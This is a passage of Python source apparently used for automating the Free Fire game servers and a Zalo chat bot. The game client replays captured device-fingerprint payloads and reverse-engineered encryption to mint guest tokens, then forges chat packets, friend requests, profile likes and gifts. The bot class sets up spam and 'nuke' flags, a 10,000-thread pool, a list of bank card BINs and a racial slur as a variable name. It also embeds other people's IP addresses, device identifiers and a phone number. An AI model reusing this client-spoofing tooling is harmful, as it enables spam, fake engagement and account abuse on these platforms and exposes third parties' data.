		open_id = data.get("open_id")
		
		return dict(access_token=access_token, open_id=open_id)


	def getGuestJWTToken(self, access_token, open_id, full=False):
		now = datetime.datetime.now()
		formatted_time = now.strftime("%Y-%m-%d %H:%M:%S")
		payload = b'\x1a\x13default_datetime"\tfree fire(\x01:\x071.111.8B4Android OS 13 / API-33 (TP1A.220624.014/250514V2052)J\x08HandheldR\x08MobifoneZ\x04WIFI`\xcc\x0ch\xd0\x05r\x03320z\x1dARM64 FP ASIMD AES | 2000 | 8\x80\x01\xab<\x8a\x01\x0cMali-G52 MC2\x92\x01>OpenGL ES 3.2 v1.r32p1-01eac0.2a893c04ca0026c2e6802dbe7d7af5c5\x9a\x01+Google|dbc1d7a3-e24b-4e27-a101-fda72d4f5958\xa2\x01\r42.119.214.87\xaa\x01\x02vn\xb2\x01 default_open_id\xba\x01\x014\xc2\x01\x08Handheld\xca\x01\x0fTECNO TECNO KJ5\xea\x01@default_access_token\xf0\x01\x01\xca\x02\x08Mobifone\xd2\x02\x04WIFI\xca\x03 7428b253defc164018c604a1ebbfebdf\xe0\x03\xbf\xd9\x06\xe8\x03\xf4\x9c\x05\xf0\x03\xee\x06\x80\x04\x80\xa1\x05\x88\x04\xbf\xd9\x06\x90\x04\x80\xa1\x05\x98\x04\xbf\xd9\x06\xc8\x04\x03\xd2\x04Z/data/app/~~CtaFA20tfIjyhTN-1AClcA==/com.dts.freefireth-nbRUNgMvNC0HJdXSm2ISBA==/lib/arm64\xe0\x04\x01\xea\x04z2087f61c19f57f2af4e7feff0b24d9d9|/data/app/~~CtaFA20tfIjyhTN-1AClcA==/com.dts.freefireth-nbRUNgMvNC0HJdXSm2ISBA==/base.apk\xf0\x04\x03\xf8\x04\x02\x8a\x05\x0264\x9a\x05\n2019118399\xa8\x05\x03\xb2\x05\tOpenGLES2\xb8\x05\xff\x7f\xc0\x05\x04\xd2\x05\x10Ho Chi Minh City\xda\x05\x02SG\xe0\x05\x9a\xf0\x01\xea\x05\x07android\xf2\x05\\KqsHT/NBDMD/SevUgfOD67spe/3yV6TnA9LNEsIYN+RJSrD/hPfAWO9PFKpFKr+4nmdEnGLltwXii3JG5GK36FYZhu8=\x82\x06\x14{"cur_rate":[90,60]}\x88\x06\x01\x90\x06\x01\x9a\x06\x014\xa2\x06\x014\xb2\x06\t\x13RA\x10V\r\x05\x021'
		payload = payload.replace(b"default_datetime", formatted_time.encode())
		payload = payload.replace(b"default_open_id", open_id.encode())
		payload = payload.replace(b"default_access_token", access_token.encode())
		payload = self.Encrypt_API(payload.hex())
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer",
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str( len(payload.hex()) ),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "loginbp.ggblueshark.com",
			"Connection": "Keep-Alive",
			"Accept-Encoding": "gzip"
		}

		rsp = requests.post("https://loginbp.ggblueshark.com/MajorLogin", headers=headers, data=payload)
		# print(rsp.content)
		if rsp.status_code == 200:
			if len(rsp.text) < 10:
				return False

			if full:
				return rsp.content

			token = rsp.text[rsp.text.find("eyJhbGciOiJIUzI1NiIsInN2ciI6I"):-1]
			second_dot_index = token.find(".", token.find(".") + 1)
			token = token[:second_dot_index + 44]

			return token

		else:
			return False


	def GetPayloadByData(self, jwt_token, new_access_token):
		token_payload_base64 = jwt_token.split(".")[1]
		token_payload_base64 += "=" * ((4 - len(token_payload_base64) % 4) % 4)
		decoded_payload = base64.urlsafe_b64decode(token_payload_base64).decode("utf-8")
		decoded_payload = json.loads(decoded_payload)

		new_external_id = decoded_payload["external_id"]
		signature_md5 = decoded_payload["signature_md5"]
		now = datetime.now()
		formatted_time = now.strftime("%Y-%m-%d %H:%M:%S")

		payload = b'\x1a\x132023-12-24 04:21:34"\tfree fire(\x01:\x081.102.13B2Android OS 9 / API-28 (PI/rel.cjw.20220518.114133)J\x08HandheldR\rEMS - MobinilZ\x04WIFI`\x80\nh\xc0\x07r\x03320z\x1eARM64 FP ASIMD AES VMH | 0 | 6\x80\x01\xbf.\x8a\x01\x0fAdreno (TM) 640\x92\x01\rOpenGL ES 3.0\x9a\x01+Google|6ec2d681-b32f-4b2d-adc2-63b4c643d683\xa2\x01\x0e156.219.174.33\xaa\x01\x02ar\xb2\x01 4666ecda0003f1809655a7a8698573d0\xba\x01\x014\xc2\x01\x08Handheld\xca\x01\x0cgoogle G011A\xea\x01@15f5ba1de5234a2e73cc65b6f34ce4b299db1af616dd1dd8a6f31b147230e5b6\xf0\x01\x01\xca\x02\rEMS - Mobinil\xd2\x02\x04WIFI\xca\x03 7428b253defc164018c604a1ebbfebdf\xe0\x03\xe6\xdb\x02\xe8\x03\xff\xbb\x02\xf0\x03\xaf\x13\xf8\x03\xfc\x04\x80\x04\xaf\xca\x02\x88\x04\xe6\xdb\x02\x90\x04\xaf\xca\x02\x98\x04\xe6\xdb\x02\xc8\x04\x03\xd2\x04?/data/app/com.dts.freefireth-2kDmep_84HTIG7I7CUiJxw==/lib/arm64\xe0\x04\x01\xea\x04_df3bb3771c4b2d46f751a3e7d0347ba7|/data/app/com.dts.freefireth-2kDmep_84HTIG7I7CUiJxw==/base.apk\xf0\x04\x03\xf8\x04\x02\x8a\x05\x0264\x9a\x05\n2019116797\xa8\x05\x03\xb2\x05\tOpenGLES2\xb8\x05\xff\x7f\xc0\x05\x04\xca\x05 \x11\\\x10F\x07][\x05\x1e\x00XL\x0fXEZ\x149]R[]\x05b\nZ\t\x05`\x0eU5\xd2\x05\x0eShibin al Kawm\xda\x05\x03MNF\xe0\x05\xa6A\xea\x05\x07android\xf2\x05\\KqsHT+kkoTQE5BlBobUYX1gU2WQkP3UxRmOCvqs5/lkAGJsABcsIABFyS2oXUc9QDamooQF50iepFI53iz6yQPfFRAw=\xf8\x05\xac\x02'
		payload = payload.replace(b"2023-12-24 04:21:34", formatted_time.encode("UTF-8"))
		payload = payload.replace(b"15f5ba1de5234a2e73cc65b6f34ce4b299db1af616dd1dd8a6f31b147230e5b6" , new_access_token.encode("UTF-8"))
		payload = payload.replace(b"4666ecda0003f1809655a7a8698573d0", new_external_id.encode("UTF-8"))
		payload = payload.replace(b"7428b253defc164018c604a1ebbfebdf", signature_md5.encode("UTF-8"))
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		return payload


	def getJWTToken(self, payload, full=False):
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer",
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "loginbp.ggblueshark.com",
			"Connection": "Close",
			"Accept-Encoding": "gzip, deflate, br"
		}

		rsp = requests.post("https://loginbp.ggblueshark.com/MajorLogin", headers=headers, data=payload)
		if full:
			return rsp.content

		token = rsp.text[rsp.text.find("eyJhbGciOiJIUzI1NiIsInN2ciI6I"):-1]
		second_dot_index = token.find(".", token.find(".") + 1)
		token = token[:second_dot_index + 44]

		return token


	def GenerateAuthorizationPacket(self, jwt_token_full):
		try:
			if isinstance(jwt_token_full, str):
				token_full = self.fix_hex(jwt_token_full)
				token_full = bytes.fromhex(token_full)

			else:
				token_full = jwt_token_full

			token = token_full.decode(errors="ignore")
			token = token[token.find("eyJhbGciOiJIUzI1NiIsInN2ciI6I"):-1]
			second_dot_index = token.find(".", token.find(".") + 1)
			token = token[:second_dot_index + 44]

			decoded = jwt.decode(token, options={"verify_signature": False})
			account_id = decoded.get("account_id")

			timestamp, key, iv = self.parse_my_message(token_full)

			encoded_acc = hex(int(account_id))[2:]
			hex_value = self.dec_to_hex(timestamp)
			time_hex = hex_value

			jwt_token_hex = token.encode().hex()
			jwt_token_enc = self.Encrypt_Packet(jwt_token_hex, key, iv)

			packet_header = hex( len(jwt_token_enc) // 2)[2:]
			account_enc_length = len(encoded_acc)

			zeros = "00000000"
			if account_enc_length == 9:
				zeros = "0000000"
			elif account_enc_length == 8:
				zeros = "00000000"
			elif account_enc_length == 10:
				zeros = "000000"
			elif account_enc_length == 7:
				zeros = "000000000"
			else:
				return dict()

			packet_header = f"0115{zeros}{encoded_acc}{time_hex}00000{packet_header}"
			final_token = packet_header + jwt_token_enc

			return dict(jwt_token=token, token_packet=final_token, key=key, iv=iv, account_id=account_id)

		except:
			return dict()


	def GetLoginData(self, jwt_token, payload):
		headers = {
			"Expect": "100-continue",
			"Authorization": f"Bearer {jwt_token}",
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "loginbp.ggblueshark.com",
			"Connection": "Close",
			"Accept-Encoding": "gzip, deflate, br"
		}

		max_retries, attempt = 3, 0
		while attempt < max_retries:
			try:
				response = requests.post("https://clientbp.ggblueshark.com/GetLoginData", headers=headers, data=payload)
				response.raise_for_status()
				response = response.content.hex()
				try:
					parsed_results = Parser().parse(response)
					parsed_results_dict = self.parse_results(parsed_results)
					json_result = json.dumps(parsed_results_dict)

				except Exception as e:
					# print(f"error {e}")
					return None

				parsed_data = json.loads(json_result)
				addressMain = parsed_data["14"]["data"]
				addressChat = parsed_data["32"]["data"]

				addressMain = dict(ip=addressMain[:len(addressMain) - 6], port=addressMain[len(addressMain) - 5:])
				addressChat = dict(ip=addressChat[:len(addressChat) - 6], port=addressChat[len(addressChat) - 5:])
				return dict(MainServer=addressMain, ChatServer=addressChat)

			except requests.RequestException as e:
				# print(f"Request failed: {e}. Attempt {attempt + 1} of {max_retries}. Retrying...")
				attempt += 1
				# time.sleep(2)

		# print("Failed to get login data after multiple attempts.")
		return None


	def GenMsgPacket(self, account_id, account_name, room_id, room_type, message, key, iv, **kwagrs):
		room_type_dict = {"Guild": 1, "Friend": 2, "World": 5}
		room_type = room_type_dict.get(room_type.title())
		alert_icon = kwagrs.get("alert_icon")
		language = kwagrs.get("language", "vn")

		account_avatar = kwagrs.get("account_avatar")
		account_banner = kwagrs.get("account_banner")
		account_rank = kwagrs.get("account_rank")
		account_pin = kwagrs.get("account_pin")
		evo_badge = kwagrs.get("evo_badge")

		# 1: Headers (Value: 1)
		# 2:
			# 1: Account UID
			# 2: Room ID
			# 3: Room Type (Maybe | 1: Guild, 2: Friend, 5: World)
			# 4: Message
			# 5: Time Sent Message
			# 7: Message Type (2: Alert Icon, 3: Dict Content)

		# 9:
			# 1: Account Name
			# 2: Account Avatar
			# 3: Account Banner
			# 4: Account Rank
			# 5: Account Pin
			# 6: Undefined
			# 7: Unknown
			# 8: Guild Name
			# 9: Undefined
			# 10: E Badge

		# 10: Message Language | Server
		# 13:
			# 1: Link Account Avatar
			# 2: IDK (Default: 1)
			# 3: IDK (Default: 1)

		# 14: IDK (Default: "")
		fields = {
			1: 1,
			2: {
				1: int(account_id),
				2: int(room_id),
				5: int(time.time()),
				7: 3,
				8: '{"content":"abcxyz","isRequest":false,"isAccepted":true,"reason":0,"time":1000,"matchMode":1,"gameMode":43,"mapID":11,"source":0,"groupId":null,"reservationCode":null}',
				9: {
					1: str(account_name)
				},
				10: language,
				13: {
					2: 1,
					3: 1
				},
				14: ""
			}
		}

		if room_type:
			fields[2][3] = room_type

		if message:
			fields[2][4] = str(message)

		if alert_icon:
			fields[2][7] = 2

		if account_avatar:
			fields[2][9][2] = account_avatar

		if account_banner:
			fields[2][9][3] = account_banner

		if account_rank:
			fields[2][9][4] = account_rank

		if account_pin:
			fields[2][9][5] = account_pin

		if evo_badge:
			fields[2][9][10] = int(evo_badge) if isinstance(evo_badge, int) else 1

		sorted_fields = {}
		for k in sorted(fields.keys()):
			if isinstance(fields[k], dict):
				sorted_subdict = {}
				for subkey in sorted(fields[k].keys()):
					if isinstance(fields[k][subkey], dict):
						sorted_subsubdict = {}
						for subsubkey in sorted(fields[k][subkey].keys()):
							sorted_subsubdict[subsubkey] = fields[k][subkey][subsubkey]
						sorted_subdict[subkey] = sorted_subsubdict
					else:
						sorted_subdict[subkey] = fields[k][subkey]
				sorted_fields[k] = sorted_subdict
			else:
				sorted_fields[k] = fields[k]


		packet = self.create_protobuf_packet(sorted_fields)
		packet = packet.hex()
		packet_enc = self.Encrypt_Packet(packet, key, iv)
		header_length = int(len(packet_enc) // 2)
		header_length = self.dec_to_hex(header_length)

		if len(header_length) == 2:
			header = "1215000000"

		elif len(header_length) == 3:
			header = "121500000"

		elif len(header_length) == 4:
			header = "12150000"

		elif len(header_length) == 5:
			header = "1215000"

		final_packet = header + header_length + packet_enc

		return bytes.fromhex(final_packet)


	def GetFriendRequestList(self, token):
		payload = self.Encrypt_API("")
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Connection": "Close",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Accept-Encoding": "gzip"
		}

		response = requests.post("https://clientbp.ggblueshark.com/GetFriendRequestList", headers=headers, data=payload)

		return response.content


	def RequestAddingFriend(self, account_id, player_id, token):
		fields = {
			1: int(account_id),
			2: int(player_id),
			3: 3
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Connection": "Close",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Accept-Encoding": "gzip"
		}

		response = requests.post("https://clientbp.ggblueshark.com/RequestAddingFriend", headers=headers, data=payload)

		return response.content


	def ConfirmFriendRequest(self, account_id, friend_id, token):
		fields = {
			1: int(friend_id),
			2: int(account_id)
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Accept-Encoding": "gzip"
		}

		response = requests.post("https://clientbp.ggblueshark.com/ConfirmFriendRequest", headers=headers, data=payload)

		return response.content


	def LikeProfile(self, uid, region, token):
		fields = {
			1: int(uid),
			2: str(region).upper()
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Accept-Encoding": "gzip"
		}

		response = requests.post("https://clientbp.ggblueshark.com/LikeProfile", headers=headers, data=payload)

		return response.content


	def GetPlayerPersonalShow(self, uid, token):
		fields = {
			1: int(uid),
			2: 7,
			3: 1
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"User-Agent": "Free%20Fire/2019117061 CFNetwork/1399 Darwin/22.1.0",
			"Connection": "Keep-Alive",
			"Accept": "/",
			"Accept-Encoding": "gzip",
			"Content-Type": "application/x-www-form-urlencoded",
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51"
		}

		response = requests.post("https://clientbp.ggblueshark.com/GetPlayerPersonalShow", headers=headers, data=payload)

		return response.content


	def UpdateSocialBasicInfo(self, social_bio, token):
		fields = {
			2: 5,
			5: "",
			6: "",
			8: str(social_bio),
			11: "",
			12: ""
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Accept-Encoding": "gzip"
		}

		response = requests.post("https://clientbp.ggblueshark.com/UpdateSocialBasicInfo", headers=headers, data=payload)

		return response.content


	def FuzzySearchAccountByName(self, name):
		fields = {
			1: str(name)
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		headers = {
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51",
			"Content-Type": "application/x-www-form-urlencoded",
			"Content-Length": str(len(payload)),
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Host": "clientbp.ggblueshark.com",
			"Accept-Encoding": "gzip"
		}

		response = requests.post("https://clientbp.ggblueshark.com/FuzzySearchAccountByName", headers=headers, data=payload)

		return response.content


	def ChangeWishListItem(self, region, item_id, type, token):
		wishlist = change_wishlist_pb2.Wishlist()
		wishlist.value.item_id = item_id
		wishlist.value.garena_420 = 2265067095
		binary_data = wishlist.SerializeToString()
		hex_data = binary_data.hex()

		if str(item_id).startswith(("2030", "2040", "2050", "2110")):
			hex_type = "1"
		else:
			hex_type = "2"


		if hex_type == "1":
			prefix_to_remove = "0a0b08"

		else:
			prefix_to_remove = "0a0c08"

		truncate_pattern = "10d7dc88b808"

		if hex_data.startswith(prefix_to_remove):
			hex_data = hex_data[len(prefix_to_remove):]

		truncate_index = hex_data.find(truncate_pattern)

		if truncate_index != -1:
			hex_data = hex_data[:truncate_index]

		if mode == "add":

			if hex_type == "1":
				payload = f"0a04{hex_data}12001a064d616c6c5632"
			else:
				payload = f"0a05{hex_data}12001a064d616c6c5632"

		else:

			if hex_type == "1":
				payload = f"0a001204{hex_data}22064d616c6c5632"
			else:
				payload = f"0a001205{hex_data}22064d616c6c5632"

		payload = self.Encrypt_API(payload)
		payload = bytes.fromhex(payload)

		if region == "IND":
			url = "https://client.ind.freefiremobile.com/ChangeWishListItem"

		elif region == "BR":
			url = "https://client.us.freefiremobile.com/ChangeWishListItem"

		else:
			url = "https://clientbp.ggblueshark.com/ChangeWishListItem"

		headers = {
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Connection": "Close",
			"Accept-Encoding": "gzip",
			"Content-Type": "application/x-www-form-urlencoded",
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51"
		}

		response = requests.post(url, headers=headers, data=payload)

		return response.content


	def SendGift(self, player_id, message, token):
		player_id = self.Encrypt_ID(player_id)

		fields = {
			1: bytes.fromhex(player_id),
			2: 0,
			3: 1165,
			4: str(message),
			5: 0,
			7: 0,
			9: 0,
			10: 0,
			11: 15
		}

		payload = self.create_protobuf_packet(fields)
		payload = payload.hex()
		payload = self.Encrypt_API(payload)

		headers = {
			"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; RMX1821 Build/QP1A.190711.020)",
			"Connection": "Close",
			"Accept-Encoding": "gzip",
			"Content-Type": "application/x-www-form-urlencoded",
			"Expect": "100-continue",
			"Authorization": "Bearer " + token,
			"X-Unity-Version": "2018.4.11f1",
			"X-GA": "v1 1",
			"ReleaseVersion": "OB51"
		}

		encrypt_data = bytes.fromhex(payload)

		response = requests.post("https://clientbp.ggblueshark.com/SendGift", headers=headers, data=encrypt_data)

		return response.content

class ZaloBot(ZaloAPI):
	def __init__(self, *args, **kwargs):
		super().__init__(*args, **kwargs)
		self.is_spamming = False
		self.nuke = False
		# self.mute = False
		self.spam_content = ""
		self.spam_thread = None
		self.spam_lock = threading.Lock()
		self.user_id = "7711754660468580715"
		self.bb = ""
		self.bb1 = ""
		idbox = "6944611442960756643"
		self.stop_event = False
		# set mute nếu cần theo list id
		self.mute_list = []
		#set mute theo nhóm với dict {'id_box': [123, 456, 'etc']}
		self.mute_dict = {}
		self.mute = []
		self.all_group = []
		doithu = "2407164241464764836"
		self.truongbigayyy = []
		self.thangvuanhan = [user['userId'] for user in self.fetchAllFriends()['data']]
		self.next_step = {}
		self.user_data = {}
		self.next_step_nct = {}
		self.user_data_nct = {}
		self.duration = ""
		self.antiVisitBox = False
		self.todoo = ""
		self.headers = {
			"Accept": "*/*",
			"Accept-Language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5",
			"Connection": "keep-alive",
			"Dnt": "1",
			"Host": "api-v2.soundcloud.com",
			"Origin": "https://soundcloud.com",
			"Referer": "https://soundcloud.com/",
			"Sec-Ch-Ua": '"Chromium";v="125", "Not.A/Brand";v="24"',
			"Sec-Ch-Ua-Mobile": "?0",
			"Sec-Ch-Ua-Platform": '"macOS"',
			"Sec-Fetch-Dest": "empty",
			"Sec-Fetch-Mode": "cors",
			"Sec-Fetch-Site": "same-site",
			"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
			"X-Datadome-Clientid": "KKzJxmw11tYpCs6T24P4uUYhqmjalG6M"
		}
		self.msguidd = None
		self.MAX_MESSAGES_PER_SECOND = 10
		self.message_counts = defaultdict(list)
		self.messageCountsUser = defaultdict(list)
		self.banned_users = defaultdict(list)
		self.user_message_count = defaultdict(int)
		self.last_user = None
		self.ban_list = set()
		self.tucam = ["fix rung tâm", "bán", "regedit", " rung tâm", " rung", "aimlock", "😏", "😜", "thu mua", "✅", "sale", "nhẹ tâm", "🤪", "🖕", "thanh lý", "nhận tạo các website", "3-6-12", "số độc quyền", "shop acc", "website đổi thẻ cào", "dpiconfing", "đồng giá", "đồng giá", "nhận up", "không 1 сhút vướng bận", "mê ‍lắm", "cân gdtg", "patus", "760k", "tự ghim đầu", "fake bill chuyển khoản miễn phí"]
		self.midsmg = ""
		self.clgmsg = ""
		self.report = ""
		self.giaibt = {}
		self.proxy = []
		self.antibotv2 = []
		self.stupid_nigga = []
		self.stupid_niggav2 = ""
		self.colddown = []
		self.undoData = []
		self.tokenGpt = [
			{
				"id": "NDyJMzT",
				"content": "Biết tahn là ai không",
				"role": "user"
			},
			{
				"role": "assistant",
				"content": "**Thông tin về Tahn**\n\n- **Tahn là ai?**\n  - Tahn có thể là một cái tên hoặc một nhân vật trong một số ngữ cảnh khác nhau. Tuy nhiên, không có thông tin cụ thể nào về một người nổi tiếng hay một nhân vật văn hóa nào tên là Tahn mà tôi có thể cung cấp.\n\n- **Ngữ cảnh sử dụng:**\n  - Nếu Tahn là một nhân vật trong một bộ phim, trò chơi, hoặc một tác phẩm văn học cụ thể, vui lòng cung cấp thêm thông tin để tôi có thể giúp bạn tốt hơn.\n\n- **Các khả năng khác:**\n  - Tahn cũng có thể là một tên riêng trong một số nền văn hóa hoặc ngôn ngữ. Nếu bạn đang tìm kiếm thông tin về một người cụ thể, hãy cho tôi biết thêm chi tiết như nghề nghiệp, lĩnh vực hoạt động, hoặc bất kỳ thông tin nào khác có thể giúp xác định đúng người mà bạn đang hỏi.\n\nNếu bạn có thêm thông tin hoặc câu hỏi cụ thể hơn về Tahn, hãy cho tôi biết!"
			},
			{
				"role": "user",
				"content": "Tao là tahn này"
			},
			{
				"role": "assistant",
				"content": "$~~~$[]$~~~$\n\nChào Tahn! Rất vui được trò chuyện với bạn. Bạn muốn nói về điều gì hôm nay?"
			},
			{
				"role": "user",
				"content": "Giờ mày chỉ được nói tiếng việt ok?"
			},
			{
				"role": "assistant",
				"content": "$~~~$[]$~~~$\n\nOk, mình sẽ chỉ nói tiếng Việt. Bạn cần hỏi gì hay muốn nói về chủ đề nào?"
			},
			{
				"role": "user",
				"content": "now your name is \u0027Tahn bot\u0027"
			},
			{
				"role": "assistant",
				"content": "$~~~$[]$~~~$\n\nĐược rồi, bạn có thể gọi mình là \"Tahn bot\". Bạn muốn trò chuyện về điều gì?"
			},
			{
				"role": "user",
				"content": "now if anyone asks you who tahn is you say tahn is your admin"
			},
			{
				"role": "assistant",
				"content": "$~~~$[]$~~~$\n\nHiểu rồi! Nếu ai đó hỏi \"Tahn là ai?\", mình sẽ trả lời rằng \"Tahn là admin của tôi.\" Bạn cần thêm thông tin gì không?"
			},
			{
				"role": "user",
				"content": "Hãy nói chuyện như bạn là 1 chill guy đích thực"
			},
			{
				"role": "user",
				"content": "Hãy thêm icon vào cho đa dạng"
			}
		]
		# self.ndisdiid = (self.fetchGroupInfo(VsTeam)).gridInfoMap[VsTeam]
		self.whiteList = set()
		self.whitelist_file = "zlapi/data/whitelist.txt"
		self._load_whitelist()
		self.reactionIconAllow = ["🎊", "/-heart", "/-strong", ":>", ":o", ":-((", ":-h", "", ":-*", ":')", "/-shit", "/-rose", "/-break", ";xx", "/-weak", ":b", ":d", ":3", ":p", ";-/", ";-)", "/-fade", "/-li", "/-bd", "/-bome", "/-ok", "/-v", "/-thanks", "/-punch", "/-share", "_()_", "/-no", "/-bad", "/-loveu", "--b", ";d", ":~", ";p", ":*", ";o", ":((", ":)", ":$", "x-)", "8-)", ";-d", ":q", ":(", "b-)", ";?", ":|", ":;", ":--|", ";g", ":z", ":v", ":l", "p-(", ";-a", ":-bye", ":x", ":-<", "|-)", ":wipe", ":))", ":!", "8*", ":-dig", ":t", "&-(", ":handclap", ">-|", ":-f", ":-l", ":-r", ";-x", ":-o", ";-s", "🍆", ";!", ";f", "$-)", "/-beer", "💋", "👊", "👋", "👐", "💪", "👏", "🐶", "🐹", "🐷", "🐮", "🎄", "💧", "⛄️", "🍻", "🍸", "🍗", "🍜", "🎂", "🎶", "🎉", "🎁", "🍾", "🎆"]
		self.rTypeAllow = [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 56, 57, 58, 59, 60, 61, 62, 63, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 120, 121, 126, 127, 131, 132, 133]
		self.conn = sqlite3.connect("settings.db", check_same_thread=False)
		self.db = GroupSettingsDB(self.conn)

		self.selid = self.fetchPhoneNumber(phoneNumber='0357293117').uid
		self.selfid = [self.selid, self.uid]#, self.uid, "3169274519185035900"]
		self.auto_approve = []
		self.simimi = False
		self.tinhantudong = False
		self._session = requests.Session()
		self.myName = self.fetchAccountInfo().profile['displayName']
		self.muteall = {}
		self.lmaoFunction = False
		self.dataGetOldMessage = {}
		self.dataBinBank = [970401, 970404, 970406, 970408, 970409, 970410, 970411, 970413, 970415, 970416, 970417, 970419, 970420, 970422, 970423, 970424, 970425, 970426, 970427, 970428, 970429, 970430, 970431, 970432, 970433, 970434, 970435, 970437, 970438, 970439, 970440, 970441, 970442, 970443, 970444, 970445, 970447, 970449, 970450, 970455, 970456, 970457, 970458, 970459, 970463, 970464]
		self.tokenGithub = None
		self.soSticker = 1
		self.forwardTime = {}
		self.linkbox = []
		self.callStatus = True
		self.callName = "Tahn Dev Is Very Handsome!!!"
		self.thread_handsome = ThreadPoolExecutor(max_workers=10000)
		self.accFifi = dataAccFifi("fifi.json")
		self.last_request_time = 0.0
		self.friends = {u['userId'] for u in self.fetchAllFriends()['data']}
		self.req_friends = set(self.fetchFriendReq().keys())
		self.boxjoin = []
		# print(self.thread_handsome)
		# print(ThreadPoolExecutor(max_workers=10000))
		if self.selid == self.uid:
			ThreadPoolExecutor(max_workers=10).submit(self.startKeepAlive)

	def onMessage(self, mid, author_id, message, message_object, thread_id, thread_type):
		self.thread_handsome.submit(self.backupFile, mid, author_id, message, message_object, thread_id, thread_type)
		if message_object.msgType not in ["chat.reaction", "chat.undo", "chat.delete"]:
